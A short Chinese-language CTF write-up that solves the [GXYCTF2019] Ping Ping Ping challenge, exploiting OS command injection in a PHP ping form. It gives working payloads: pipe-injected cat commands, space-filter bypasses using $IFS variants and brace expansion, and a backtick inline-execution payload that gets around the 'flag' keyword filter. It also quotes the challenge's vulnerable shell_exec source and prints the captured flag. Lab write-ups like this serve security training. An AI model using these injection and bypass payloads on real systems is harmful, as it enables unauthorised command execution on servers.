[GXYCTF2019]Ping Ping Ping 1
原来是甘文川同学 人气:2进入界面
根据提示进行ping信号
看到网页的内容就想到经典的Linux命令执行,使用命令执行的管道符 " | "尝试列出文件
FLAG应该在Flag.php里面
构造playload进行提取
http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat flag.php
提示:“/?ip= fxck your space!”,space暗示我们存在空格过滤,尝试构造语句来绕过空格
$IFS ${IFS} $IFS$1 // $1改成$加其他数字貌似都行 < <> {cat,flag.php} // 用逗号实现了空格功能 %20 %09
出现新的提示“/?ip= 1fxck your symbol!”
说明仍然存在“flag”过滤,联想之前做的BUU题目,提示应该藏在另外一个php文件(index.php)里面,于是利用上面的绕过空格来构造Playload进行查看index.php
http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat${IFS}index.php
经行php代码审计
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //preg_math函数过滤掉的字符 die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ //同上 die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //同上 die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
内联输出:使用反引号 ``代替 |,经反引号的输出命令转换为输出
构造playload
http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3;cat$IFS$9%60ls%60
得到flag
flag = "flag{1fe19100-c980-45f2-9625-262cbd69f6fa}"
加载全部内容